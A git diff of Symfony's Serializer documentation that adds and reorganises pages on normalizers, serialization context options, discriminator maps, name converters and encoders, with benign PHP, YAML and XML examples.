+    denormalize data by calling the constructor and the "setters" (public
+    methods starting with ``set``).
+
+    Objects are normalized to a map of property names and values (names are
+    generated by removing the ``get`` prefix from the method name and transforming
+    the first letter to lowercase; e.g. ``getFirstName()`` -> ``firstName``).
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`
+    This is yet another alternative to the ``ObjectNormalizer``. This
+    normalizer directly reads and writes public properties as well as
+    **private and protected** properties (from both the class and all of
+    its parent classes) by using `PHP reflection`_. It supports calling the
+    constructor during the denormalization process.
+
+    Objects are normalized to a map of property names to property values.
+
+    You can also limit the normalizer to only use properties with a specific
+    visibility (e.g. only public properties) using the
+    ``PropertyNormalizer::NORMALIZE_VISIBILITY`` context option. You can set it
+    to any combination of the ``PropertyNormalizer::NORMALIZE_PUBLIC``,
+    ``PropertyNormalizer::NORMALIZE_PROTECTED`` and
+    ``PropertyNormalizer::NORMALIZE_PRIVATE`` constants::
+
+        use Symfony\Component\Serializer\Normalizer\PropertyNormalizer;
+        // ...
+
+        $json = $serializer->serialize($person, 'json', [
+            // only serialize public properties
+            PropertyNormalizer::NORMALIZE_VISIBILITY => PropertyNormalizer::NORMALIZE_PUBLIC,
+
+            // serialize public and protected properties
+            PropertyNormalizer::NORMALIZE_VISIBILITY => PropertyNormalizer::NORMALIZE_PUBLIC | PropertyNormalizer::NORMALIZE_PROTECTED,
+        ]);
+
+    .. versionadded:: 6.2
+
+        The ``PropertyNormalizer::NORMALIZE_VISIBILITY`` context option and its
+        values were introduced in Symfony 6.2.
+
 Debugging the Serializer
 ------------------------
 
+.. versionadded:: 6.3
+
+    The debug:serializer`` command was introduced in Symfony 6.3.
+
 Use the ``debug:serializer`` command to dump the serializer metadata of a
 given class:
 
@@ -553,39 +1520,609 @@ given class:
         |          | ]                                                          |
         +----------+------------------------------------------------------------+
 
+Advanced Serialization
+----------------------
+
+Skipping ``null`` Values
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+By default, the Serializer will preserve properties containing a ``null`` value.
+You can change this behavior by setting the ``AbstractObjectNormalizer::SKIP_NULL_VALUES`` context option
+to ``true``::
+
+    class Person
+    {
+        public string $name = 'Jane Doe';
+        public ?string $gender = null;
+    }
+
+    $jsonContent = $serializer->serialize(new Person(), 'json', [
+        AbstractObjectNormalizer::SKIP_NULL_VALUES => true,
+    ]);
+    // $jsonContent contains {"name":"Jane Doe"}
+
+Handling Uninitialized Properties
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In PHP, typed properties have an ``uninitialized`` state which is different
+from the default ``null`` of untyped properties. When you try to access a typed
+property before giving it an explicit value, you get an error.
+
+To avoid the serializer throwing an error when serializing or normalizing
+an object with uninitialized properties, by default the ``ObjectNormalizer``
+catches these errors and ignores such properties.
+
+You can disable this behavior by setting the
+``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context option to
+``false``::
+
+    class Person {
+        public string $name = 'Jane Doe';
+        public string $phoneNumber; // uninitialized
+    }
+
+    $jsonContent = $normalizer->serialize(new Dummy(), 'json', [
+        AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES => false,
+    ]);
+    // throws Symfony\Component\PropertyAccess\Exception\UninitializedPropertyException
+    // as the ObjectNormalizer cannot read uninitialized properties
+
+.. note::
+
+    Using :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`
+    or :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`
+    with ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context
+    option set to ``false`` will throw an ``\Error`` instance if the given
+    object has uninitialized properties as the normalizers cannot read them
+    (directly or via getter/isser methods).
+
+.. _component-serializer-handling-circular-references:
+
+Handling Circular References
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Circular references are common when dealing with associated objects::
+
+    class Organization
+    {
+        public function __construct(
+            private string $name,
+            private array $members = []
+        ) {
+        }
+
+        public function getName(): string
+        {
+            return $this->name;
+        }
+
+        public function addMember(Member $member): void
+        {
+            $this->members[] = $member;
+        }
+
+        public function getMembers(): array
+        {
+            return $this->members;
+        }
+    }
+
+    class Member
+    {
+        private Organization $organization;
+
+        public function __construct(
+            private string $name
+        ) {
+        }
+
+        public function getName(): string
+        {
+            return $this->name;
+        }
+
+        public function setOrganization(Organization $organization): void
+        {
+            $this->organization = $organization;
+        }
+
+        public function getOrganization(): Organization
+        {
+            return $this->organization;
+        }
+    }
+
+To avoid infinite loops, the normalizers throw a
+:class:`Symfony\\Component\\Serializer\\Exception\\CircularReferenceException`
+when such a case is encountered::
+
+    $organization = new Organization('Les-Tilleuls.coop');
+    $member = new Member('Kévin');
+
+    $organization->addMember($member);
+    $member->setOrganization($organization);
+
+    $jsonContent = $serializer->serialize($organization, 'json');
+    // throws a CircularReferenceException
+
+The key ``circular_reference_limit`` in the context sets the number of
+times it will serialize the same object before considering it a circular
+reference. The default value is ``1``.
+
+Instead of throwing an exception, circular references can also be handled
+by custom callables. This is especially useful when serializing entities
+having unique identifiers::
+
+    use Symfony\Component\Serializer\Exception\CircularReferenceException;
+
+    $context = [
+        AbstractNormalizer::CIRCULAR_REFERENCE_HANDLER => function (object $object, ?string $format, array $context): string {
+            if (!$object instanceof Organization) {
+                throw new CircularReferenceException('A circular reference has been detected when serializing the object of class "'.get_debug_type($object).'".');
+            }
+
+            // serialize the nested Organization with only the name (and not the members)
+            return $object->getName();
+        },
+    ];
+
+    $jsonContent = $serializer->serialize($organization, 'json', $context);
+    // $jsonContent contains {"name":"Les-Tilleuls.coop","members":[{"name":"K\u00e9vin", organization: "Les-Tilleuls.coop"}]}
+
+.. _serializer_handling-serialization-depth:
+
+Handling Serialization Depth
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The serializer can also detect nested objects of the same class and limit
+the serialization depth. This is useful for tree structures, where the same
+object is nested multiple times.
+
+For instance, assume a data structure of a family tree::
+
+    // ...
+    class Person
+    {
+        // ...
+
+        public function __construct(
+            private string $name,
+            private ?self $mother
+        ) {
+        }
+
+        public function getName(): string
+        {
+            return $this->name;
+        }
+
+        public function getMother(): ?self
+        {
+            return $this->mother;
+        }
+
+        // ...
+    }
+
+    // ...
+    $greatGrandmother = new Person('Elizabeth', null);
+    $grandmother = new Person('Jane', $greatGrandmother);
+    $mother = new Person('Sophie', $grandmother);
+    $child = new Person('Joe', $mother);
+
+You can specify the maximum depth for a given property. For instance, you
+can set the max depth to ``1`` to always only serialize someone's mother
+(and not their grandmother, etc.):
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Model/Person.php
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\MaxDepth;
+
+        class Person
+        {
+            #[MaxDepth(1)]
+            private ?self $mother;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/serializer/person.yaml
+        App\Model\Person:
+            attributes:
+                mother:
+                    max_depth: 1
+
+    .. code-block:: xml
+
+        <!-- config/serializer/person.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="mother" max-depth="1"/>
+            </class>
+        </serializer>
+
+To limit the serialization depth, you must set the
+``AbstractObjectNormalizer::ENABLE_MAX_DEPTH`` key to ``true`` in the
+context (or the default context specified in ``framework.yaml``)::
+
+    // ...
+    $greatGrandmother = new Person('Elizabeth', null);
+    $grandmother = new Person('Jane', $greatGrandmother);
+    $mother = new Person('Sophie', $grandmother);
+    $child = new Person('Joe', $mother);
+
+    $jsonContent = $serializer->serialize($child, null, [
+        AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true
+    ]);
+    // $jsonContent contains {"name":"Joe","mother":{"name":"Sophie"}}
+
+You can also configure a custom callable that is used when the maximum
+depth is reached. This can be used to for instance return the unique
+identifier of the next nested object, instead of omitting the property::
+
+    use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
+    // ...
+
+    $greatGrandmother = new Person('Elizabeth', null);
+    $grandmother = new Person('Jane', $greatGrandmother);
+    $mother = new Person('Sophie', $grandmother);
+    $child = new Person('Joe', $mother);
+
+    // all callback parameters are optional (you can omit the ones you don't use)
+    $maxDepthHandler = function (object $innerObject, object $outerObject, string $attributeName, ?string $format = null, array $context = []): string {
+        // return only the name of the next person in the tree
+        return $innerObject instanceof Person ? $innerObject->getName() : null;
+    };
+
+    $jsonContent = $serializer->serialize($child, null, [
+        AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true,
+        AbstractObjectNormalizer::MAX_DEPTH_HANDLER => $maxDepthHandler,
+    ]);
+    // $jsonContent contains {"name":"Joe","mother":{"name":"Sophie","mother":"Jane"}}
+
+Using Callbacks to Serialize Properties with Object Instances
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When serializing, you can set a callback to format a specific object
+property. This can be used instead of
+:ref:`defining the context for a group <serializer-context-group>`::
+
+    $person = new Person('cordoval', 34);
+    $person->setCreatedAt(new \DateTime('now'));
+
+    $context = [
+        AbstractNormalizer::CALLBACKS => [
+            // all callback parameters are optional (you can omit the ones you don't use)
+            'createdAt' => function (object $attributeValue, object $object, string $attributeName, ?string $format = null, array $context = []) {
+                return $attributeValue instanceof \DateTime ? $attributeValue->format(\DateTime::ATOM) : '';
+            },
+        ],
+    ];
+    $jsonContent = $serializer->serialize($person, 'json');
+    // $jsonContent contains {"name":"cordoval","age":34,"createdAt":"2014-03-22T09:43:12-0500"}
+
+Advanced Deserialization
+------------------------
+
+Require all Properties
+~~~~~~~~~~~~~~~~~~~~~~
+
 .. versionadded:: 6.3
 
-    The debug:serializer`` command was introduced in Symfony 6.3.
+    The ``AbstractNormalizer::PREVENT_NULLABLE_FALLBACK`` context option
+    was introduced in Symfony 6.3.
 
-Going Further with the Serializer
----------------------------------
+By default, the Serializer will add ``null`` to nullable properties when
+the parameters for those are not provided. You can change this behavior by
+setting the ``AbstractNormalizer::REQUIRE_ALL_PROPERTIES`` context option
+to ``true``::
+
+    class Person
+    {
+        public function __construct(
+            public string $firstName,
+            public ?string $lastName,
+        ) {
+        }
+    }
+
+    // ...
+    $data = ['firstName' => 'John'];
+    $person = $serializer->deserialize($data, Person::class, 'json', [
+        AbstractNormalizer::REQUIRE_ALL_PROPERTIES => true,
+    ]);
+    // throws Symfony\Component\Serializer\Exception\MissingConstructorArgumentException
+
+Collecting Type Errors While Denormalizing
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When denormalizing a payload to an object with typed properties, you'll get an
+exception if the payload contains properties that don't have the same type as
+the object.
+
+Use the ``COLLECT_DENORMALIZATION_ERRORS`` option to collect all exceptions
+at once, and to get the object partially denormalized::
+
+    try {
+        $person = $serializer->deserialize($jsonString, Person::class, 'json', [
+            DenormalizerInterface::COLLECT_DENORMALIZATION_ERRORS => true,
+        ]);
+    } catch (PartialDenormalizationException $e) {
+        $violations = new ConstraintViolationList();
+
+        /** @var NotNormalizableValueException $exception */
+        foreach ($e->getErrors() as $exception) {
+            $message = sprintf('The type must be one of "%s" ("%s" given).', implode(', ', $exception->getExpectedTypes()), $exception->getCurrentType());
+            $parameters = [];
+            if ($exception->canUseMessageForUser()) {
+                $parameters['hint'] = $exception->getMessage();
+            }
+            $violations->add(new ConstraintViolation($message, '', $parameters, null, $exception->getPath(), null));
+        }
+
+        // ... return violation list to the user
+    }
+
+.. _serializer-populate-existing-object:
+
+Deserializing in an Existing Object
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The serializer can also be used to update an existing object. You can do
+this by configuring the ``object_to_populate`` serializer context option::
+
+    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
+
+    // ...
+    $person = new Person('Jane Doe', 59);
+
+    $serializer->deserialize($jsonData, Person::class, 'json', [
+        AbstractNormalizer::OBJECT_TO_POPULATE => $person,
+    ]);
+    // instead of returning a new object, $person is updated instead
+
+.. note::
+
+    The ``AbstractNormalizer::OBJECT_TO_POPULATE`` option is only used for
+    the top level object. If that object is the root of a tree structure,
+    all child elements that exist in the normalized data will be re-created
+    with new instances.
+
+    When the ``AbstractObjectNormalizer::DEEP_OBJECT_TO_POPULATE`` context
+    option is set to ``true``, existing children of the root ``OBJECT_TO_POPULATE``
+    are updated from the normalized data, instead of the denormalizer
+    re-creating them. This only works for single child objects, not for
+    arrays of objects. Those will still be replaced when present in the
+    normalized data.
+
+.. _serializer_interfaces-and-abstract-classes:
+
+Deserializing Interfaces and Abstract Classes
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When working with associated objects, a property sometimes reference an
+interface or abstract class. When deserializing these properties, the
+Serializer has to know which concrete class to initialize. This is done
+using a *discriminator class mapping*.
+
+Imagine there is an ``InvoiceItemInterface`` that is implemented by the
+``Product`` and ``Shipping`` objects. When serializing an object, the
+serializer will add an extra "discriminator attribute". This contains
+either ``product`` or ``shipping``. The discriminator class map maps
+these type names to the real PHP class name when deserializing:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\DiscriminatorMap;
+
+        #[DiscriminatorMap(
+            typeProperty: 'type',
+            mapping: [
+                'product' => Product::class,
+                'shipping' => Shipping::class,
+            ]
+        )]
+        interface InvoiceItemInterface
+        {
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        App\Model\InvoiceItemInterface:
+            discriminator_map:
+                type_property: type
+                mapping:
+                    product: 'App\Model\Product'
+                    shipping: 'App\Model\Shipping'
+
+    .. code-block:: xml
 
-`API Platform`_ provides an API system supporting the following formats:
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\InvoiceItemInterface">
+                <discriminator-map type-property="type">
+                    <mapping type="product" class="App\Model\Product"/>
+                    <mapping type="shipping" class="App\Model\Shipping"/>
+                </discriminator-map>
+            </class>
+        </serializer>
+
+With the discriminator map configured, the serializer can now pick the
+correct class for properties typed as `InvoiceItemInterface`::
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        class InvoiceLine
+        {
+            public function __construct(
+                private InvoiceItemInterface $invoiceItem
+            ) {
+                $this->invoiceItem = $invoiceItem;
+            }
+
+            public function getInvoiceItem(): InvoiceItemInterface
+            {
+                return $this->invoiceItem;
+            }
+
+            // ...
+        }
+
+        // ...
+        $invoiceLine = new InvoiceLine(new Product());
+
+        $jsonString = $serializer->serialize($invoiceLine, 'json');
+        // $jsonString contains {"type":"product",...}
+
+        $invoiceLine = $serializer->deserialize($jsonString, InvoiceLine::class, 'json');
+        // $invoiceLine contains new InvoiceLine(new Product(...))
+
+    .. code-block:: php-standalone
+
+        // ...
+        use Symfony\Component\Serializer\Mapping\ClassDiscriminatorFromClassMetadata;
+        use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
+        use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
+
+        class InvoiceLine
+        {
+            public function __construct(
+                private InvoiceItemInterface $invoiceItem
+            ) {
+                $this->invoiceItem = $invoiceItem;
+            }
+
+            public function getInvoiceItem(): InvoiceItemInterface
+            {
+                return $this->invoiceItem;
+            }
+
+            // ...
+        }
+
+        // ...
+
+        // Configure a loader to retrieve mapping information like DiscriminatorMap.
+        // E.g. when using PHP attributes:
+        $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
+        $discriminator = new ClassDiscriminatorFromClassMetadata($classMetadataFactory);
+        $normalizers = [
+            new ObjectNormalizer($classMetadataFactory, null, null, null, $discriminator),
+        ];
+
+        $serializer = new Serializer($normalizers, $encoders);
+
+        $invoiceLine = new InvoiceLine(new Product());
+
+        $jsonString = $serializer->serialize($invoiceLine, 'json');
+        // $jsonString contains {"type":"product",...}
+
+        $invoiceLine = $serializer->deserialize($jsonString, InvoiceLine::class, 'json');
+        // $invoiceLine contains new InvoiceLine(new Product(...))
+
+.. _serializer-unwrapping-denormalizer:
+
+Deserializing Input Partially (Unwrapping)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The serializer will always deserialize the complete input string into PHP
+values. When connecting with third party APIs, you often only need a
+specific part of the returned response.
+
+To avoid deserializing the whole response, you can use the
+:class:`Symfony\\Component\\Serializer\\Normalizer\\UnwrappingDenormalizer`
+and "unwrap" the input data::
+
+    $jsonData = '{"result":"success","data":{"person":{"name": "Jane Doe","age":57}}}';
+    $data = $serialiser->deserialize($jsonData, Object::class, [
+        UnwrappingDenormalizer::UNWRAP_PATH => '[data][person]',
+    ]);
+    // $data is Person(name: 'Jane Doe', age: 57)
+
+The ``unwrap_path`` is a :ref:`property path <property-access-reading-arrays>`
+of the PropertyAccess component, applied on the denormalized array.
+
+Handling Constructor Arguments
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If the class constructor defines arguments, as usually happens with
+`Value Objects`_, the serializer will match the parameter names with the
+deserialized attributes. If some parameters are missing, a
+:class:`Symfony\\Component\\Serializer\\Exception\\MissingConstructorArgumentsException`
+is thrown.
+
+In these cases, use the ``default_constructor_arguments`` context option to
+define default values for the missing parameters::
 
-* `JSON-LD`_ along with the `Hydra Core Vocabulary`_
-* `OpenAPI`_ v2 (formerly Swagger) and v3
-* `GraphQL`_
-* `JSON:API`_
-* `HAL`_
-* JSON
-* XML
-* YAML
-* CSV
+    use App\Model\Person;
+    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
+    // ...
 
-It is built on top of the Symfony Framework and its Serializer
-component. It provides custom normalizers and a custom encoder, custom metadata
-and a caching system.
+    $jsonData = '{"age":39,"name":"Jane Doe"}';
+    $person = $serializer->deserialize($jsonData, Person::class, 'json', [
+        AbstractNormalizer::DEFAULT_CONSTRUCTOR_ARGUMENTS => [
+            Person::class => ['sportsperson' => true],
+        ],
+    ]);
+    // $person is Person(name: 'Jane Doe', age: 39, sportsperson: true);
+
+Recursive Denormalization and Type Safety
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When a ``PropertyTypeExtractor`` is available, the normalizer will also
+check that the data to denormalize matches the type of the property (even
+for primitive types). For instance, if a ``string`` is provided, but the
+type of the property is ``int``, an
+:class:`Symfony\\Component\\Serializer\\Exception\\UnexpectedValueException`
+will be thrown. The type enforcement of the properties can be disabled by
+setting the serializer context option
+``ObjectNormalizer::DISABLE_TYPE_ENFORCEMENT`` to ``true``.
+
+.. _serializer-enabling-metadata-cache:
+
+Configuring the Metadata Cache
+------------------------------
+
+The metadata for the serializer is automatically cached to enhance application
+performance. By default, the serializer uses the ``cache.system`` cache pool
+which is configured using the :ref:`cache.system <reference-cache-system>`
+option.
 
-If you want to leverage the full power of the Symfony Serializer component,
-take a look at how this bundle works.
+Going Further with the Serializer
+---------------------------------
 
 .. toctree::
+    :glob:
     :maxdepth: 1
 
-    serializer/custom_encoders
-    serializer/custom_normalizer
-    serializer/custom_context_builders
+    serializer/*
 
+.. _`JMS serializer`: https://github.com/schmittjoh/serializer
 .. _`API Platform`: https://api-platform.com
 .. _`JSON-LD`: https://json-ld.org
 .. _`Hydra Core Vocabulary`: https://www.hydra-cg.com/
@@ -593,3 +2130,10 @@ take a look at how this bundle works.
 .. _`GraphQL`: https://graphql.org
 .. _`JSON:API`: https://jsonapi.org
 .. _`HAL`: https://stateless.group/hal_specification.html
+.. _`RFC 7807`: https://tools.ietf.org/html/rfc7807
+.. _`RFC 4122`: https://tools.ietf.org/html/rfc4122
+.. _`RFC 3339`: https://tools.ietf.org/html/rfc3339#section-5.8
+.. _`list of PHP timezones`: https://www.php.net/manual/en/timezones.php
+.. _`data URI`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
+.. _`PHP reflection`: https://php.net/manual/en/book.reflection.php
+.. _`Value Objects`: https://en.wikipedia.org/wiki/Value_object
diff --git a/serializer/custom_context_builders.rst b/serializer/custom_context_builders.rst
index 31fba6c90f5..acb6a8b6ee3 100644
--- a/serializer/custom_context_builders.rst
+++ b/serializer/custom_context_builders.rst
@@ -5,11 +5,9 @@ How to Create your Custom Context Builder
 
     Context builders were introduced in Symfony 6.1.
 
-The :doc:`Serializer Component </components/serializer>` uses Normalizers
-and Encoders to transform any data to any data-structure (e.g. JSON).
-That serialization process can be configured thanks to a
-:ref:`serialization context <serializer_serializer-context>`, which can be built thanks to
-:ref:`context builders <component-serializer-context-builders>`.
+That serialization process of the :doc:`Serializer Component </serializer>`
+can be configured by the :ref:`serialization context <serializer-context>`,
+which can be built thanks to :ref:`context builders <serializer-using-context-builders>`.
 
 Each built-in normalizer/encoder has its related context builder. However, you
 may want to create a custom context builder for your
diff --git a/serializer/custom_encoders.rst b/serializer/custom_encoders.rst
deleted file mode 100644
index dca6aa12ec4..00000000000
--- a/serializer/custom_encoders.rst
+++ /dev/null
@@ -1,61 +0,0 @@
-How to Create your Custom Encoder
-=================================
-
-The :doc:`Serializer Component </components/serializer>` uses Normalizers
-to transform any data to an array. Then, by leveraging *Encoders*, that data can
-be converted into any data-structure (e.g. JSON).
-
-The Component provides several built-in encoders that are described
-:doc:`in the serializer component </components/serializer>` but you may want
-to use another structure that's not supported.
-
-Creating a new encoder
-----------------------
-
-Imagine you want to serialize and deserialize YAML. For that you'll have to
-create your own encoder that uses the
-:doc:`Yaml Component </components/yaml>`::
-
-    // src/Serializer/YamlEncoder.php
-    namespace App\Serializer;
-
-    use Symfony\Component\Serializer\Encoder\DecoderInterface;
-    use Symfony\Component\Serializer\Encoder\EncoderInterface;
-    use Symfony\Component\Yaml\Yaml;
-
-    class YamlEncoder implements EncoderInterface, DecoderInterface
-    {
-        public function encode($data, string $format, array $context = []): string
-        {
-            return Yaml::dump($data);
-        }
-
-        public function supportsEncoding(string $format, array $context = []): bool
-        {
-            return 'yaml' === $format;
-        }
-
-        public function decode(string $data, string $format, array $context = []): array
-        {
-            return Yaml::parse($data);
-        }
-
-        public function supportsDecoding(string $format, array $context = []): bool
-        {
-            return 'yaml' === $format;
-        }
-    }
-
-Registering it in your app
---------------------------
-
-If you use the Symfony Framework, then you probably want to register this encoder
-as a service in your app. If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-that's done automatically!
-
-.. tip::
-
-    If you're not using :ref:`autoconfigure <services-autoconfigure>`, make sure
-    to register your class as a service and tag it with ``serializer.encoder``.
-
-Now you'll be able to serialize and deserialize YAML!
diff --git a/serializer/custom_name_converter.rst b/serializer/custom_name_converter.rst
new file mode 100644
index 00000000000..82247134217
--- /dev/null
+++ b/serializer/custom_name_converter.rst
@@ -0,0 +1,105 @@
+How to Create your Custom Name Converter
+========================================
+
+The Serializer Component uses :ref:`name converters <serializer-name-conversion>`
+to transform the attribute names (e.g. from snake_case in JSON to CamelCase
+for PHP properties).
+
+Imagine you have the following object::
+
+    namespace App\Model;
+
+    class Company
+    {
+        public string $name;
+        public string $address;
+    }
+
+And in the serialized form, all attributes must be prefixed by ``org_`` like
+the following:
+
+.. code-block:: json
+
+    {"org_name": "Acme Inc.", "org_address": "123 Main Street, Big City"}
+
+A custom name converter can handle such cases::
+
+    namespace App\Serializer;
+
+    use Symfony\Component\Serializer\NameConverter\NameConverterInterface;
+
+    class OrgPrefixNameConverter implements NameConverterInterface
+    {
+        public function normalize(string $propertyName): string
+        {
+            // during normalization, add the prefix
+            return 'org_'.$propertyName;
+        }
+
+        public function denormalize(string $propertyName): string
+        {
+            // remove the 'org_' prefix on denormalizing
+            return str_starts_with($propertyName, 'org_') ? substr($propertyName, 4) : $propertyName;
+        }
+    }
+
+.. note::
+
+    You can also implement
+    :class:`Symfony\\Component\\Serializer\\NameConverter\\AdvancedNameConverterInterface`
+    to access the current class name, format and context.
+
+Then, configure the serializer to use your name converter:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/serializer.yaml
+        framework:
+            serializer:
+                # pass the service ID of your name converter
+                name_converter: 'App\Serializer\OrgPrefixNameConverter'
+
+    .. code-block:: xml
+
+        <!-- config/packages/serializer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- pass the service ID of your name converter -->
+                <framework:serializer
+                    name-converter="App\Serializer\OrgPrefixNameConverter"
+                />
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/serializer.php
+        use App\Serializer\OrgPrefixNameConverter;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->serializer()
+                // pass the service ID of your name converter
+                ->nameConverter(OrgPrefixNameConverter::class)
+            ;
+        };
+
+Now, when using the serializer in the application, all attributes will be
+prefixed by ``org_``::
+
+    // ...
+    $company = new Company('Acme Inc.', '123 Main Street, Big City');
+
+    $json = $serializer->serialize($company, 'json');
+    // {"org_name": "Acme Inc.", "org_address": "123 Main Street, Big City"}
+    $companyCopy = $serializer->deserialize($json, Company::class, 'json');
+    // Same data as $company
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 3d2e7cd2a7e..276c618b8ac 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -1,10 +1,11 @@
 How to Create your Custom Normalizer
 ====================================
 
-The :doc:`Serializer component </components/serializer>` uses
-normalizers to transform any data into an array. The component provides several
-:ref:`built-in normalizers <component-serializer-normalizers>` but you may need to create
-your own normalizer to transform an unsupported data structure.
+The :doc:`Serializer component </serializer>` uses normalizers to transform
+any data into an array. The component provides several
+ref:`built-in normalizers <serializer-built-in-normalizers>` but you may
+need to create your own normalizer to transform an unsupported data
+structure.
 
 Creating a New Normalizer
 -------------------------
@@ -67,6 +68,63 @@ a service and :doc:`tagged </service_container/tags>` with ``serializer.normaliz
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 this is done automatically!
 
+If you're not using ``autoconfigure``, you have to tag the service with
+``serializer.normalizer``. You can also use this method to set a priority
+(higher means it's called earlier in the process):
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            App\Serializer\TopicNormalizer:
+                tags:
+                    # register the normalizer with a high priority (called earlier)
+                    - { name: 'serializer.normalizer', priority: 500 }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <service id="App\Serializer\TopicNormalizer">
+                    <!-- register the normalizer with a high priority (called earlier) -->
+                    <tag name="serializer.normalizer"
+                        priority="500"
+                    />
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Serializer\TopicNormalizer;
+
+        return function(ContainerConfigurator $container) {
+            // ...
+
+            // if you're using autoconfigure, the tag will be automatically applied
+            $services->set(TopicNormalizer::class)
+                // register the normalizer with a high priority (called earlier)
+                ->tag('serializer.normalizer', [
+                    'priority' => 500,
+                ])
+            ;
+        };
+
 Performance
 -----------
 
@@ -90,7 +148,7 @@ is called.
 
 .. note::
 
-    All built-in :ref:`normalizers and denormalizers <component-serializer-normalizers>`
+    All built-in :ref:`normalizers and denormalizers <serializer-built-in-normalizers>`
     as well the ones included in `API Platform`_ natively implement this interface.
 
 .. deprecated:: 6.3
diff --git a/serializer/encoders.rst b/serializer/encoders.rst
new file mode 100644
index 00000000000..c8bddc604ba
--- /dev/null
+++ b/serializer/encoders.rst
@@ -0,0 +1,371 @@
+Serializer Encoders
+===================
+
+The Serializer component provides several built-in encoders:
+
+:class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`
+    This class encodes and decodes data in `JSON`_.
+
+:class:`Symfony\\Component\\Serializer\\Encoder\\XmlEncoder`
+    This class encodes and decodes data in `XML`_.
+
+:class:`Symfony\\Component\\Serializer\\Encoder\\YamlEncoder`
+    This encoder encodes and decodes data in `YAML`_. This encoder requires the
+    :doc:`Yaml Component </components/yaml>`.
+
+:class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder`
+    This encoder encodes and decodes data in `CSV`_.
+
+.. note::
+
+    You can also create your own encoder to use another structure. Read more at
+    :ref:`Creating a Custom Encoder <serializer-custom-encoder>` below.
+
+All these encoders are enabled by default when using the Serializer component
+in a Symfony application.
+
+The ``JsonEncoder``
+-------------------
+
+The ``JsonEncoder`` encodes to and decodes from JSON strings, based on the PHP
